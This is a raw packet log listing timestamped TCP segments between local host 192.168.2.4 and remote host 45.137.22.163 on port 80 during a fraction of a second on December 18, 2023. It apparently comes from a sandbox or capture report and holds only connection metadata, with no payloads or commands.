Dec 18, 2023 14:31:05.483213902 CET	80	49729	45.137.22.163	192.168.2.4
Dec 18, 2023 14:31:05.483227015 CET	80	49729	45.137.22.163	192.168.2.4
Dec 18, 2023 14:31:05.483237982 CET	80	49729	45.137.22.163	192.168.2.4
Dec 18, 2023 14:31:05.483261108 CET	80	49729	45.137.22.163	192.168.2.4
Dec 18, 2023 14:31:05.483283043 CET	49729	80	192.168.2.4	45.137.22.163
Dec 18, 2023 14:31:05.483289957 CET	80	49729	45.137.22.163	192.168.2.4
Dec 18, 2023 14:31:05.483303070 CET	80	49729	45.137.22.163	192.168.2.4
Dec 18, 2023 14:31:05.483340025 CET	49729	80	192.168.2.4	45.137.22.163
Dec 18, 2023 14:31:05.483351946 CET	80	49729	45.137.22.163	192.168.2.4
Dec 18, 2023 14:31:05.483362913 CET	80	49729	45.137.22.163	192.168.2.4
Dec 18, 2023 14:31:05.483405113 CET	49729	80	192.168.2.4	45.137.22.163
Dec 18, 2023 14:31:05.717336893 CET	80	49729	45.137.22.163	192.168.2.4
Dec 18, 2023 14:31:05.717358112 CET	80	49729	45.137.22.163	192.168.2.4
Dec 18, 2023 14:31:05.717417002 CET	80	49729	45.137.22.163	192.168.2.4
Dec 18, 2023 14:31:05.717466116 CET	80	49729	45.137.22.163	192.168.2.4
Dec 18, 2023 14:31:05.717530966 CET	49729	80	192.168.2.4	45.137.22.163
Dec 18, 2023 14:31:05.717560053 CET	49729	80	192.168.2.4	45.137.22.163
Dec 18, 2023 14:31:05.717608929 CET	80	49729	45.137.22.163	192.168.2.4
Dec 18, 2023 14:31:05.717654943 CET	80	49729	45.137.22.163	192.168.2.4
Dec 18, 2023 14:31:05.717703104 CET	49729	80	192.168.2.4	45.137.22.163
Dec 18, 2023 14:31:05.717730045 CET	80	49729	45.137.22.163	192.168.2.4
Dec 18, 2023 14:31:05.717789888 CET	80	49729	45.137.22.163	192.168.2.4
Dec 18, 2023 14:31:05.717822075 CET	80	49729	45.137.22.163	192.168.2.4
Dec 18, 2023 14:31:05.717835903 CET	49729	80	192.168.2.4	45.137.22.163
Dec 18, 2023 14:31:05.717899084 CET	80	49729	45.137.22.163	192.168.2.4
Dec 18, 2023 14:31:05.717953920 CET	49729	80	192.168.2.4	45.137.22.163
Dec 18, 2023 14:31:05.718071938 CET	80	49729	45.137.22.163	192.168.2.4
Dec 18, 2023 14:31:05.718121052 CET	80	49729	45.137.22.163	192.168.2.4
Dec 18, 2023 14:31:05.718132973 CET	80	49729	45.137.22.163	192.168.2.4
Dec 18, 2023 14:31:05.718166113 CET	49729	80	192.168.2.4	45.137.22.163
Dec 18, 2023 14:31:05.718189955 CET	80	49729	45.137.22.163	192.168.2.4
Dec 18, 2023 14:31:05.718271017 CET	80	49729	45.137.22.163	192.168.2.4
Dec 18, 2023 14:31:05.718286037 CET	80	49729	45.137.22.163	192.168.2.4
Dec 18, 2023 14:31:05.718327045 CET	80	49729	45.137.22.163	192.168.2.4
Dec 18, 2023 14:31:05.718328953 CET	49729	80	192.168.2.4	45.137.22.163
Dec 18, 2023 14:31:05.718374014 CET	80	49729	45.137.22.163	192.168.2.4
Dec 18, 2023 14:31:05.718374014 CET	49729	80	192.168.2.4	45.137.22.163
Dec 18, 2023 14:31:05.718431950 CET	80	49729	45.137.22.163	192.168.2.4
Dec 18, 2023 14:31:05.718445063 CET	80	49729	45.137.22.163	192.168.2.4
Dec 18, 2023 14:31:05.718470097 CET	80	49729	45.137.22.163	192.168.2.4
Dec 18, 2023 14:31:05.718476057 CET	49729	80	192.168.2.4	45.137.22.163
Dec 18, 2023 14:31:05.718519926 CET	49729	80	192.168.2.4	45.137.22.163
Dec 18, 2023 14:31:05.718542099 CET	80	49729	45.137.22.163	192.168.2.4
Dec 18, 2023 14:31:05.718555927 CET	80	49729	45.137.22.163	192.168.2.4
Dec 18, 2023 14:31:05.718597889 CET	80	49729	45.137.22.163	192.168.2.4
Dec 18, 2023 14:31:05.718600035 CET	49729	80	192.168.2.4	45.137.22.163
Dec 18, 2023 14:31:05.718611002 CET	80	49729	45.137.22.163	192.168.2.4
Dec 18, 2023 14:31:05.718645096 CET	49729	80	192.168.2.4	45.137.22.163
Dec 18, 2023 14:31:05.718667984 CET	80	49729	45.137.22.163	192.168.2.4
Dec 18, 2023 14:31:05.718697071 CET	80	49729	45.137.22.163	192.168.2.4
Dec 18, 2023 14:31:05.718744993 CET	49729	80	192.168.2.4	45.137.22.163
Dec 18, 2023 14:31:05.718754053 CET	80	49729	45.137.22.163	192.168.2.4
Dec 18, 2023 14:31:05.718797922 CET	80	49729	45.137.22.163	192.168.2.4
Dec 18, 2023 14:31:05.718811035 CET	80	49729	45.137.22.163	192.168.2.4
Dec 18, 2023 14:31:05.718837976 CET	80	49729	45.137.22.163	192.168.2.4
Dec 18, 2023 14:31:05.718846083 CET	49729	80	192.168.2.4	45.137.22.163
Dec 18, 2023 14:31:05.718869925 CET	80	49729	45.137.22.163	192.168.2.4
Dec 18, 2023 14:31:05.718880892 CET	49729	80	192.168.2.4	45.137.22.163
Dec 18, 2023 14:31:05.718894005 CET	80	49729	45.137.22.163	192.168.2.4
Dec 18, 2023 14:31:05.718950987 CET	49729	80	192.168.2.4	45.137.22.163
Dec 18, 2023 14:31:05.718956947 CET	80	49729	45.137.22.163	192.168.2.4
Dec 18, 2023 14:31:05.719023943 CET	80	49729	45.137.22.163	192.168.2.4
Dec 18, 2023 14:31:05.719043970 CET	80	49729	45.137.22.163	192.168.2.4
Dec 18, 2023 14:31:05.719079971 CET	49729	80	192.168.2.4	45.137.22.163
Dec 18, 2023 14:31:05.719100952 CET	80	49729	45.137.22.163	192.168.2.4
Dec 18, 2023 14:31:05.719163895 CET	80	49729	45.137.22.163	192.168.2.4
Dec 18, 2023 14:31:05.719208956 CET	49729	80	192.168.2.4	45.137.22.163
Dec 18, 2023 14:31:05.719240904 CET	80	49729	45.137.22.163	192.168.2.4
Dec 18, 2023 14:31:05.719341993 CET	80	49729	45.137.22.163	192.168.2.4
Dec 18, 2023 14:31:05.719389915 CET	49729	80	192.168.2.4	45.137.22.163
Dec 18, 2023 14:31:05.719410896 CET	80	49729	45.137.22.163	192.168.2.4
Dec 18, 2023 14:31:05.719500065 CET	80	49729	45.137.22.163	192.168.2.4
Dec 18, 2023 14:31:05.719547987 CET	49729	80	192.168.2.4	45.137.22.163
Dec 18, 2023 14:31:05.719562054 CET	80	49729	45.137.22.163	192.168.2.4
Dec 18, 2023 14:31:05.719636917 CET	80	49729	45.137.22.163	192.168.2.4
Dec 18, 2023 14:31:05.719681978 CET	49729	80	192.168.2.4	45.137.22.163
Dec 18, 2023 14:31:05.719733000 CET	80	49729	45.137.22.163	192.168.2.4
Dec 18, 2023 14:31:05.719784021 CET	80	49729	45.137.22.163	192.168.2.4
Dec 18, 2023 14:31:05.719825029 CET	80	49729	45.137.22.163	192.168.2.4
Dec 18, 2023 14:31:05.719829082 CET	49729	80	192.168.2.4	45.137.22.163
Dec 18, 2023 14:31:05.719901085 CET	80	49729	45.137.22.163	192.168.2.4
Dec 18, 2023 14:31:05.719922066 CET	80	49729	45.137.22.163	192.168.2.4
Dec 18, 2023 14:31:05.719944000 CET	49729	80	192.168.2.4	45.137.22.163
Dec 18, 2023 14:31:05.720022917 CET	80	49729	45.137.22.163	192.168.2.4
Dec 18, 2023 14:31:05.720067978 CET	49729	80	192.168.2.4	45.137.22.163
Dec 18, 2023 14:31:05.720089912 CET	80	49729	45.137.22.163	192.168.2.4
Dec 18, 2023 14:31:05.720187902 CET	80	49729	45.137.22.163	192.168.2.4
Dec 18, 2023 14:31:05.720237017 CET	49729	80	192.168.2.4	45.137.22.163
Dec 18, 2023 14:31:05.720278978 CET	80	49729	45.137.22.163	192.168.2.4
Dec 18, 2023 14:31:05.720376968 CET	80	49729	45.137.22.163	192.168.2.4
Dec 18, 2023 14:31:05.720422983 CET	49729	80	192.168.2.4	45.137.22.163
Dec 18, 2023 14:31:05.720424891 CET	80	49729	45.137.22.163	192.168.2.4
Dec 18, 2023 14:31:05.720499039 CET	80	49729	45.137.22.163	192.168.2.4
Dec 18, 2023 14:31:05.720545053 CET	49729	80	192.168.2.4	45.137.22.163
Dec 18, 2023 14:31:05.720567942 CET	80	49729	45.137.22.163	192.168.2.4
Dec 18, 2023 14:31:05.720690012 CET	80	49729	45.137.22.163	192.168.2.4
Dec 18, 2023 14:31:05.720733881 CET	80	49729	45.137.22.163	192.168.2.4
Dec 18, 2023 14:31:05.720737934 CET	49729	80	192.168.2.4	45.137.22.163
Dec 18, 2023 14:31:05.720798016 CET	80	49729	45.137.22.163	192.168.2.4
Dec 18, 2023 14:31:05.720861912 CET	80	49729	45.137.22.163	192.168.2.4
Dec 18, 2023 14:31:05.720910072 CET	49729	80	192.168.2.4	45.137.22.163
Dec 18, 2023 14:31:05.720932007 CET	80	49729	45.137.22.163	192.168.2.4
Dec 18, 2023 14:31:05.720984936 CET	80	49729	45.137.22.163	192.168.2.4
Dec 18, 2023 14:31:05.721012115 CET	80	49729	45.137.22.163	192.168.2.4
Dec 18, 2023 14:31:05.721029043 CET	49729	80	192.168.2.4	45.137.22.163
Dec 18, 2023 14:31:05.721101999 CET	80	49729	45.137.22.163	192.168.2.4
Dec 18, 2023 14:31:05.721179008 CET	80	49729	45.137.22.163	192.168.2.4
Dec 18, 2023 14:31:05.721203089 CET	80	49729	45.137.22.163	192.168.2.4
Dec 18, 2023 14:31:05.721225023 CET	49729	80	192.168.2.4	45.137.22.163
Dec 18, 2023 14:31:05.721285105 CET	80	49729	45.137.22.163	192.168.2.4
Dec 18, 2023 14:31:05.721328020 CET	49729	80	192.168.2.4	45.137.22.163
Dec 18, 2023 14:31:05.721347094 CET	80	49729	45.137.22.163	192.168.2.4
Dec 18, 2023 14:31:05.721405029 CET	80	49729	45.137.22.163	192.168.2.4
Dec 18, 2023 14:31:05.721448898 CET	49729	80	192.168.2.4	45.137.22.163
Dec 18, 2023 14:31:05.721457005 CET	80	49729	45.137.22.163	192.168.2.4
Dec 18, 2023 14:31:05.721520901 CET	80	49729	45.137.22.163	192.168.2.4
Dec 18, 2023 14:31:05.721555948 CET	80	49729	45.137.22.163	192.168.2.4
Dec 18, 2023 14:31:05.721566916 CET	49729	80	192.168.2.4	45.137.22.163
Dec 18, 2023 14:31:05.721570015 CET	80	49729	45.137.22.163	192.168.2.4
Dec 18, 2023 14:31:05.721611023 CET	80	49729	45.137.22.163	192.168.2.4
Dec 18, 2023 14:31:05.721617937 CET	49729	80	192.168.2.4	45.137.22.163
Dec 18, 2023 14:31:05.721625090 CET	80	49729	45.137.22.163	192.168.2.4
Dec 18, 2023 14:31:05.721637964 CET	80	49729	45.137.22.163	192.168.2.4
Dec 18, 2023 14:31:05.721669912 CET	49729	80	192.168.2.4	45.137.22.163
Dec 18, 2023 14:31:05.721705914 CET	80	49729	45.137.22.163	192.168.2.4
Dec 18, 2023 14:31:05.721755981 CET	49729	80	192.168.2.4	45.137.22.163
Dec 18, 2023 14:31:05.721779108 CET	80	49729	45.137.22.163	192.168.2.4
Dec 18, 2023 14:31:05.721832037 CET	80	49729	45.137.22.163	192.168.2.4
Dec 18, 2023 14:31:05.721843958 CET	80	49729	45.137.22.163	192.168.2.4
Dec 18, 2023 14:31:05.721880913 CET	49729	80	192.168.2.4	45.137.22.163
Dec 18, 2023 14:31:05.721944094 CET	80	49729	45.137.22.163	192.168.2.4
Dec 18, 2023 14:31:05.721956968 CET	80	49729	45.137.22.163	192.168.2.4
Dec 18, 2023 14:31:05.721995115 CET	49729	80	192.168.2.4	45.137.22.163
Dec 18, 2023 14:31:05.722007990 CET	80	49729	45.137.22.163	192.168.2.4
Dec 18, 2023 14:31:05.722033024 CET	80	49729	45.137.22.163	192.168.2.4
Dec 18, 2023 14:31:05.722074986 CET	49729	80	192.168.2.4	45.137.22.163
Dec 18, 2023 14:31:05.722076893 CET	80	49729	45.137.22.163	192.168.2.4
Dec 18, 2023 14:31:05.722151041 CET	80	49729	45.137.22.163	192.168.2.4
Dec 18, 2023 14:31:05.722189903 CET	80	49729	45.137.22.163	192.168.2.4
Dec 18, 2023 14:31:05.722196102 CET	49729	80	192.168.2.4	45.137.22.163
Dec 18, 2023 14:31:05.722250938 CET	80	49729	45.137.22.163	192.168.2.4
Dec 18, 2023 14:31:05.722265005 CET	80	49729	45.137.22.163	192.168.2.4
Dec 18, 2023 14:31:05.722306967 CET	49729	80	192.168.2.4	45.137.22.163
Dec 18, 2023 14:31:05.722323895 CET	80	49729	45.137.22.163	192.168.2.4
Dec 18, 2023 14:31:05.722368002 CET	80	49729	45.137.22.163	192.168.2.4
Dec 18, 2023 14:31:05.722372055 CET	49729	80	192.168.2.4	45.137.22.163
Dec 18, 2023 14:31:05.722383022 CET	80	49729	45.137.22.163	192.168.2.4
Dec 18, 2023 14:31:05.722425938 CET	49729	80	192.168.2.4	45.137.22.163
Dec 18, 2023 14:31:05.722448111 CET	80	49729	45.137.22.163	192.168.2.4
Dec 18, 2023 14:31:05.722531080 CET	80	49729	45.137.22.163	192.168.2.4
Dec 18, 2023 14:31:05.722548008 CET	80	49729	45.137.22.163	192.168.2.4
Dec 18, 2023 14:31:05.722577095 CET	80	49729	45.137.22.163	192.168.2.4
Dec 18, 2023 14:31:05.722578049 CET	49729	80	192.168.2.4	45.137.22.163
Dec 18, 2023 14:31:05.722623110 CET	49729	80	192.168.2.4	45.137.22.163
Dec 18, 2023 14:31:05.722645044 CET	80	49729	45.137.22.163	192.168.2.4
Dec 18, 2023 14:31:05.722670078 CET	80	49729	45.137.22.163	192.168.2.4
Dec 18, 2023 14:31:05.722714901 CET	49729	80	192.168.2.4	45.137.22.163
Dec 18, 2023 14:31:05.722737074 CET	80	49729	45.137.22.163	192.168.2.4
Dec 18, 2023 14:31:05.722749949 CET	80	49729	45.137.22.163	192.168.2.4
Dec 18, 2023 14:31:05.722820044 CET	80	49729	45.137.22.163	192.168.2.4
Dec 18, 2023 14:31:05.722832918 CET	80	49729	45.137.22.163	192.168.2.4
Dec 18, 2023 14:31:05.722862959 CET	49729	80	192.168.2.4	45.137.22.163
Dec 18, 2023 14:31:05.722943068 CET	80	49729	45.137.22.163	192.168.2.4
Dec 18, 2023 14:31:05.722974062 CET	80	49729	45.137.22.163	192.168.2.4
Dec 18, 2023 14:31:05.722990990 CET	49729	80	192.168.2.4	45.137.22.163
Dec 18, 2023 14:31:05.723051071 CET	80	49729	45.137.22.163	192.168.2.4
Dec 18, 2023 14:31:05.723094940 CET	49729	80	192.168.2.4	45.137.22.163
Dec 18, 2023 14:31:05.723118067 CET	80	49729	45.137.22.163	192.168.2.4
Dec 18, 2023 14:31:05.723141909 CET	80	49729	45.137.22.163	192.168.2.4
Dec 18, 2023 14:31:05.723186970 CET	49729	80	192.168.2.4	45.137.22.163
Dec 18, 2023 14:31:05.723247051 CET	80	49729	45.137.22.163	192.168.2.4
Dec 18, 2023 14:31:05.723311901 CET	80	49729	45.137.22.163	192.168.2.4
Dec 18, 2023 14:31:05.723361015 CET	49729	80	192.168.2.4	45.137.22.163
Dec 18, 2023 14:31:05.723367929 CET	80	49729	45.137.22.163	192.168.2.4
Dec 18, 2023 14:31:05.723432064 CET	80	49729	45.137.22.163	192.168.2.4
Dec 18, 2023 14:31:05.723481894 CET	49729	80	192.168.2.4	45.137.22.163
Dec 18, 2023 14:31:05.723483086 CET	80	49729	45.137.22.163	192.168.2.4
Dec 18, 2023 14:31:05.723534107 CET	80	49729	45.137.22.163	192.168.2.4
Dec 18, 2023 14:31:05.723578930 CET	49729	80	192.168.2.4	45.137.22.163
Dec 18, 2023 14:31:05.723598957 CET	80	49729	45.137.22.163	192.168.2.4
Dec 18, 2023 14:31:05.723632097 CET	80	49729	45.137.22.163	192.168.2.4
Dec 18, 2023 14:31:05.723675013 CET	80	49729	45.137.22.163	192.168.2.4
Dec 18, 2023 14:31:05.723678112 CET	49729	80	192.168.2.4	45.137.22.163
Dec 18, 2023 14:31:05.723778963 CET	80	49729	45.137.22.163	192.168.2.4
Dec 18, 2023 14:31:05.723793030 CET	80	49729	45.137.22.163	192.168.2.4
Dec 18, 2023 14:31:05.723823071 CET	49729	80	192.168.2.4	45.137.22.163
Dec 18, 2023 14:31:05.723836899 CET	80	49729	45.137.22.163	192.168.2.4
Dec 18, 2023 14:31:05.723851919 CET	80	49729	45.137.22.163	192.168.2.4
Dec 18, 2023 14:31:05.723861933 CET	80	49729	45.137.22.163	192.168.2.4
Dec 18, 2023 14:31:05.723881960 CET	49729	80	192.168.2.4	45.137.22.163
Dec 18, 2023 14:31:05.723903894 CET	80	49729	45.137.22.163	192.168.2.4
Dec 18, 2023 14:31:05.723929882 CET	80	49729	45.137.22.163	192.168.2.4
Dec 18, 2023 14:31:05.723943949 CET	49729	80	192.168.2.4	45.137.22.163
Dec 18, 2023 14:31:05.723965883 CET	80	49729	45.137.22.163	192.168.2.4
Dec 18, 2023 14:31:05.723979950 CET	80	49729	45.137.22.163	192.168.2.4
Dec 18, 2023 14:31:05.724011898 CET	49729	80	192.168.2.4	45.137.22.163
Dec 18, 2023 14:31:05.724035025 CET	80	49729	45.137.22.163	192.168.2.4
Dec 18, 2023 14:31:05.724078894 CET	49729	80	192.168.2.4	45.137.22.163
Dec 18, 2023 14:31:05.724091053 CET	80	49729	45.137.22.163	192.168.2.4
Dec 18, 2023 14:31:05.724104881 CET	80	49729	45.137.22.163	192.168.2.4
Dec 18, 2023 14:31:05.724128962 CET	80	49729	45.137.22.163	192.168.2.4
Dec 18, 2023 14:31:05.724142075 CET	49729	80	192.168.2.4	45.137.22.163
Dec 18, 2023 14:31:05.724149942 CET	80	49729	45.137.22.163	192.168.2.4
Dec 18, 2023 14:31:05.724196911 CET	49729	80	192.168.2.4	45.137.22.163
Dec 18, 2023 14:31:05.724209070 CET	80	49729	45.137.22.163	192.168.2.4
Dec 18, 2023 14:31:05.724276066 CET	80	49729	45.137.22.163	192.168.2.4
Dec 18, 2023 14:31:05.724289894 CET	80	49729	45.137.22.163	192.168.2.4
Dec 18, 2023 14:31:05.724322081 CET	49729	80	192.168.2.4	45.137.22.163
Dec 18, 2023 14:31:05.724322081 CET	80	49729	45.137.22.163	192.168.2.4
Dec 18, 2023 14:31:05.779117107 CET	49729	80	192.168.2.4	45.137.22.163
Dec 18, 2023 14:31:05.954570055 CET	80	49729	45.137.22.163	192.168.2.4
Dec 18, 2023 14:31:05.954624891 CET	80	49729	45.137.22.163	192.168.2.4
Dec 18, 2023 14:31:05.954663992 CET	80	49729	45.137.22.163	192.168.2.4
Dec 18, 2023 14:31:05.954679012 CET	49729	80	192.168.2.4	45.137.22.163
Dec 18, 2023 14:31:05.954703093 CET	80	49729	45.137.22.163	192.168.2.4
Dec 18, 2023 14:31:05.954745054 CET	80	49729	45.137.22.163	192.168.2.4
Dec 18, 2023 14:31:05.954755068 CET	49729	80	192.168.2.4	45.137.22.163
Dec 18, 2023 14:31:05.954914093 CET	80	49729	45.137.22.163	192.168.2.4
Dec 18, 2023 14:31:05.954977036 CET	49729	80	192.168.2.4	45.137.22.163
Dec 18, 2023 14:31:05.955064058 CET	80	49729	45.137.22.163	192.168.2.4
Dec 18, 2023 14:31:05.955080986 CET	80	49729	45.137.22.163	192.168.2.4
Dec 18, 2023 14:31:05.955121994 CET	49729	80	192.168.2.4	45.137.22.163
Dec 18, 2023 14:31:05.955230951 CET	80	49729	45.137.22.163	192.168.2.4
Dec 18, 2023 14:31:05.955245018 CET	80	49729	45.137.22.163	192.168.2.4
Dec 18, 2023 14:31:05.955411911 CET	80	49729	45.137.22.163	192.168.2.4
Dec 18, 2023 14:31:05.955425978 CET	80	49729	45.137.22.163	192.168.2.4
Dec 18, 2023 14:31:05.955476999 CET	49729	80	192.168.2.4	45.137.22.163
Dec 18, 2023 14:31:05.955601931 CET	80	49729	45.137.22.163	192.168.2.4
Dec 18, 2023 14:31:05.955645084 CET	49729	80	192.168.2.4	45.137.22.163
Dec 18, 2023 14:31:05.955825090 CET	80	49729	45.137.22.163	192.168.2.4
Dec 18, 2023 14:31:05.955837965 CET	80	49729	45.137.22.163	192.168.2.4
Dec 18, 2023 14:31:05.955873013 CET	49729	80	192.168.2.4	45.137.22.163
Dec 18, 2023 14:31:05.956013918 CET	80	49729	45.137.22.163	192.168.2.4
Dec 18, 2023 14:31:05.956027031 CET	80	49729	45.137.22.163	192.168.2.4
Dec 18, 2023 14:31:05.956065893 CET	49729	80	192.168.2.4	45.137.22.163
Dec 18, 2023 14:31:05.956187010 CET	80	49729	45.137.22.163	192.168.2.4
Dec 18, 2023 14:31:05.956366062 CET	80	49729	45.137.22.163	192.168.2.4
Dec 18, 2023 14:31:05.956378937 CET	80	49729	45.137.22.163	192.168.2.4
Dec 18, 2023 14:31:05.956388950 CET	80	49729	45.137.22.163	192.168.2.4
Dec 18, 2023 14:31:05.956401110 CET	80	49729	45.137.22.163	192.168.2.4
Dec 18, 2023 14:31:05.956412077 CET	49729	80	192.168.2.4	45.137.22.163
Dec 18, 2023 14:31:05.956439972 CET	49729	80	192.168.2.4	45.137.22.163
Dec 18, 2023 14:31:05.956554890 CET	80	49729	45.137.22.163	192.168.2.4
Dec 18, 2023 14:31:05.956568003 CET	80	49729	45.137.22.163	192.168.2.4
Dec 18, 2023 14:31:05.956607103 CET	80	49729	45.137.22.163	192.168.2.4
Dec 18, 2023 14:31:05.956628084 CET	49729	80	192.168.2.4	45.137.22.163
Dec 18, 2023 14:31:05.956825972 CET	80	49729	45.137.22.163	192.168.2.4
Dec 18, 2023 14:31:05.956839085 CET	80	49729	45.137.22.163	192.168.2.4
Dec 18, 2023 14:31:05.956875086 CET	49729	80	192.168.2.4	45.137.22.163
Dec 18, 2023 14:31:05.956996918 CET	80	49729	45.137.22.163	192.168.2.4
Dec 18, 2023 14:31:05.957010031 CET	80	49729	45.137.22.163	192.168.2.4
Dec 18, 2023 14:31:05.957041025 CET	49729	80	192.168.2.4	45.137.22.163
Dec 18, 2023 14:31:05.957149982 CET	80	49729	45.137.22.163	192.168.2.4
Dec 18, 2023 14:31:05.957164049 CET	80	49729	45.137.22.163	192.168.2.4
Dec 18, 2023 14:31:05.957195044 CET	49729	80	192.168.2.4	45.137.22.163
Dec 18, 2023 14:31:05.957379103 CET	80	49729	45.137.22.163	192.168.2.4
Dec 18, 2023 14:31:05.957390070 CET	80	49729	45.137.22.163	192.168.2.4
Dec 18, 2023 14:31:05.957405090 CET	80	49729	45.137.22.163	192.168.2.4
Dec 18, 2023 14:31:05.957422972 CET	49729	80	192.168.2.4	45.137.22.163
Dec 18, 2023 14:31:05.957564116 CET	80	49729	45.137.22.163	192.168.2.4
Dec 18, 2023 14:31:05.957577944 CET	80	49729	45.137.22.163	192.168.2.4
Dec 18, 2023 14:31:05.957588911 CET	80	49729	45.137.22.163	192.168.2.4
Dec 18, 2023 14:31:05.957611084 CET	49729	80	192.168.2.4	45.137.22.163
Dec 18, 2023 14:31:05.957650900 CET	49729	80	192.168.2.4	45.137.22.163
Dec 18, 2023 14:31:05.957746029 CET	80	49729	45.137.22.163	192.168.2.4
Dec 18, 2023 14:31:05.957916021 CET	80	49729	45.137.22.163	192.168.2.4
Dec 18, 2023 14:31:05.957930088 CET	80	49729	45.137.22.163	192.168.2.4
Dec 18, 2023 14:31:05.957963943 CET	49729	80	192.168.2.4	45.137.22.163
Dec 18, 2023 14:31:05.958112955 CET	80	49729	45.137.22.163	192.168.2.4
Dec 18, 2023 14:31:05.958126068 CET	80	49729	45.137.22.163	192.168.2.4
Dec 18, 2023 14:31:05.958142996 CET	80	49729	45.137.22.163	192.168.2.4
Dec 18, 2023 14:31:05.958153963 CET	49729	80	192.168.2.4	45.137.22.163
Dec 18, 2023 14:31:05.958184958 CET	49729	80	192.168.2.4	45.137.22.163
Dec 18, 2023 14:31:05.958297968 CET	80	49729	45.137.22.163	192.168.2.4
Dec 18, 2023 14:31:05.958314896 CET	80	49729	45.137.22.163	192.168.2.4
Dec 18, 2023 14:31:05.958359957 CET	49729	80	192.168.2.4	45.137.22.163
Dec 18, 2023 14:31:05.958472013 CET	80	49729	45.137.22.163	192.168.2.4
Dec 18, 2023 14:31:05.958525896 CET	80	49729	45.137.22.163	192.168.2.4
Dec 18, 2023 14:31:05.958539009 CET	80	49729	45.137.22.163	192.168.2.4
Dec 18, 2023 14:31:05.958576918 CET	49729	80	192.168.2.4	45.137.22.163
Dec 18, 2023 14:31:05.958753109 CET	80	49729	45.137.22.163	192.168.2.4
Dec 18, 2023 14:31:05.958765984 CET	80	49729	45.137.22.163	192.168.2.4
Dec 18, 2023 14:31:05.958798885 CET	49729	80	192.168.2.4	45.137.22.163
Dec 18, 2023 14:31:05.958815098 CET	80	49729	45.137.22.163	192.168.2.4
Dec 18, 2023 14:31:05.958859921 CET	49729	80	192.168.2.4	45.137.22.163
Dec 18, 2023 14:31:05.959026098 CET	80	49729	45.137.22.163	192.168.2.4
Dec 18, 2023 14:31:05.959038973 CET	80	49729	45.137.22.163	192.168.2.4
Dec 18, 2023 14:31:05.959079981 CET	49729	80	192.168.2.4	45.137.22.163
Dec 18, 2023 14:31:05.959182978 CET	80	49729	45.137.22.163	192.168.2.4
Dec 18, 2023 14:31:05.959196091 CET	80	49729	45.137.22.163	192.168.2.4
Dec 18, 2023 14:31:05.959209919 CET	80	49729	45.137.22.163	192.168.2.4
Dec 18, 2023 14:31:05.959237099 CET	49729	80	192.168.2.4	45.137.22.163
Dec 18, 2023 14:31:05.959352016 CET	80	49729	45.137.22.163	192.168.2.4
Dec 18, 2023 14:31:05.959367037 CET	80	49729	45.137.22.163	192.168.2.4
Dec 18, 2023 14:31:05.959403992 CET	49729	80	192.168.2.4	45.137.22.163
Dec 18, 2023 14:31:05.959418058 CET	80	49729	45.137.22.163	192.168.2.4
Dec 18, 2023 14:31:05.959583044 CET	80	49729	45.137.22.163	192.168.2.4
Dec 18, 2023 14:31:05.959595919 CET	80	49729	45.137.22.163	192.168.2.4
Dec 18, 2023 14:31:05.959623098 CET	49729	80	192.168.2.4	45.137.22.163
Dec 18, 2023 14:31:05.959772110 CET	80	49729	45.137.22.163	192.168.2.4
Dec 18, 2023 14:31:05.959784985 CET	80	49729	45.137.22.163	192.168.2.4
Dec 18, 2023 14:31:05.959815025 CET	49729	80	192.168.2.4	45.137.22.163
Dec 18, 2023 14:31:05.959974051 CET	80	49729	45.137.22.163	192.168.2.4
Dec 18, 2023 14:31:05.959988117 CET	80	49729	45.137.22.163	192.168.2.4
Dec 18, 2023 14:31:05.959997892 CET	80	49729	45.137.22.163	192.168.2.4
Dec 18, 2023 14:31:05.960021973 CET	49729	80	192.168.2.4	45.137.22.163
Dec 18, 2023 14:31:05.960052013 CET	49729	80	192.168.2.4	45.137.22.163
Dec 18, 2023 14:31:05.960123062 CET	80	49729	45.137.22.163	192.168.2.4
Dec 18, 2023 14:31:05.960135937 CET	80	49729	45.137.22.163	192.168.2.4
Dec 18, 2023 14:31:05.960148096 CET	80	49729	45.137.22.163	192.168.2.4
Dec 18, 2023 14:31:05.960175037 CET	49729	80	192.168.2.4	45.137.22.163
Dec 18, 2023 14:31:05.960298061 CET	80	49729	45.137.22.163	192.168.2.4
Dec 18, 2023 14:31:05.960310936 CET	80	49729	45.137.22.163	192.168.2.4
Dec 18, 2023 14:31:05.960328102 CET	80	49729	45.137.22.163	192.168.2.4
Dec 18, 2023 14:31:05.960341930 CET	80	49729	45.137.22.163	192.168.2.4
Dec 18, 2023 14:31:05.960359097 CET	80	49729	45.137.22.163	192.168.2.4
Dec 18, 2023 14:31:05.960364103 CET	49729	80	192.168.2.4	45.137.22.163
Dec 18, 2023 14:31:05.960380077 CET	49729	80	192.168.2.4	45.137.22.163
Dec 18, 2023 14:31:05.960494995 CET	80	49729	45.137.22.163	192.168.2.4
Dec 18, 2023 14:31:05.960509062 CET	80	49729	45.137.22.163	192.168.2.4
Dec 18, 2023 14:31:05.960555077 CET	49729	80	192.168.2.4	45.137.22.163
Dec 18, 2023 14:31:05.960784912 CET	80	49729	45.137.22.163	192.168.2.4
Dec 18, 2023 14:31:05.960798979 CET	80	49729	45.137.22.163	192.168.2.4
Dec 18, 2023 14:31:05.960808992 CET	80	49729	45.137.22.163	192.168.2.4
Dec 18, 2023 14:31:05.960835934 CET	49729	80	192.168.2.4	45.137.22.163
Dec 18, 2023 14:31:05.960980892 CET	80	49729	45.137.22.163	192.168.2.4
Dec 18, 2023 14:31:05.961154938 CET	80	49729	45.137.22.163	192.168.2.4
Dec 18, 2023 14:31:05.961167097 CET	80	49729	45.137.22.163	192.168.2.4
Dec 18, 2023 14:31:05.961179018 CET	80	49729	45.137.22.163	192.168.2.4
Dec 18, 2023 14:31:05.961193085 CET	80	49729	45.137.22.163	192.168.2.4
Dec 18, 2023 14:31:05.961203098 CET	49729	80	192.168.2.4	45.137.22.163
Dec 18, 2023 14:31:05.961225986 CET	49729	80	192.168.2.4	45.137.22.163
Dec 18, 2023 14:31:05.961338043 CET	80	49729	45.137.22.163	192.168.2.4
Dec 18, 2023 14:31:05.961353064 CET	80	49729	45.137.22.163	192.168.2.4
Dec 18, 2023 14:31:05.961388111 CET	49729	80	192.168.2.4	45.137.22.163
Dec 18, 2023 14:31:05.961442947 CET	80	49729	45.137.22.163	192.168.2.4
Dec 18, 2023 14:31:05.961491108 CET	49729	80	192.168.2.4	45.137.22.163
Dec 18, 2023 14:31:05.961595058 CET	80	49729	45.137.22.163	192.168.2.4
Dec 18, 2023 14:31:05.961661100 CET	80	49729	45.137.22.163	192.168.2.4
Dec 18, 2023 14:31:05.961675882 CET	80	49729	45.137.22.163	192.168.2.4
